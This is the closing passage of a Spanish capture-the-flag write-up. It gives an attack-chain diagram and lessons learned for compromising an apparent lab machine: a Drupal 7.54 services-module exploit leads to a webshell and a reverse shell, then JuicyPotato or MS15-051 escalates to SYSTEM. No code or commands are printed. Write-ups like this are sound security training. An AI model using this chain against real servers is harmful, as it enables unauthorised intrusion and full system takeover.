│ /rest = endpoint_path │ │ sin web root escribible -> comandos OS
▼ ▼ ▼
shell.php (webshell) ───────┴──→ RCE como nt authority\iusr
│ Nishang + Penelope :4444
▼
SeImpersonatePrivilege (Server 2008 R2 RTM, 0 hotfixes)
├── JuicyPotato (CLSID de wuauserv) -> SYSTEM
└── (alternativa) Sherlock -> MS15-051 -> SYSTEM
│
▼
user.txt (dimitris) + root.txt (Administrator)Lecciones aprendidas
- La versión exacta lo es todo. El
robots.txtseñalaba elCHANGELOG.txt,droopescansugirió7.54y el fichero lo confirmó. Ocultar los ficheros de versión no arregla el fallo, pero al menos no lo regala. Lo que arregla es actualizar. - Enumerar el
CMSvale más que fuzzear rutas.gobusterdevolvió decenas de directorios que eran el esqueleto estándar deDrupal;droopescandevolvió el móduloservicesinstalado, que es justo lo que abrió la primera vía. - Hay que leer el exploit y descubrir el endpoint, no asumirlo. El
41564.phptraíaendpoint_path = '/rest_endpoint'de ejemplo y esa ruta daba 404; enumerar/node/<id>reveló que el nombre interno esrest_endpointpero la ruta es/rest. Confundir ambas cosas es lo que hacía fallar el ataque. - Un exploit bien escrito degrada en vez de rendirse.
Drupalgeddon2no pudo escribir en el web root deIISen ninguna de las tres rutas que probó y, en lugar de abortar, cayó a comandosOSdirectos. Leer la salida completa enseña más que quedarse con el resultado. SeImpersonatePrivilegeen cuentas de servicio =SYSTEM.iusrlo tenía; la familia Potato lo convierte enAdministrator. En sistemas antiguos hay que elegir unCLSIDcompatible de la lista del repositorio, aunque la edición no sea idéntica.- El
kernelsin parchear es la red de seguridad del atacante.windows-exploit-suggesterreportó 0 hotfixes contra 197 boletines: demasiados candidatos y ningún enlace útil.Sherlock, que consulta el sistema desde dentro, señaló MS15-051 directamente. Dos herramientas del mismo tipo, resultados de utilidad muy distinta.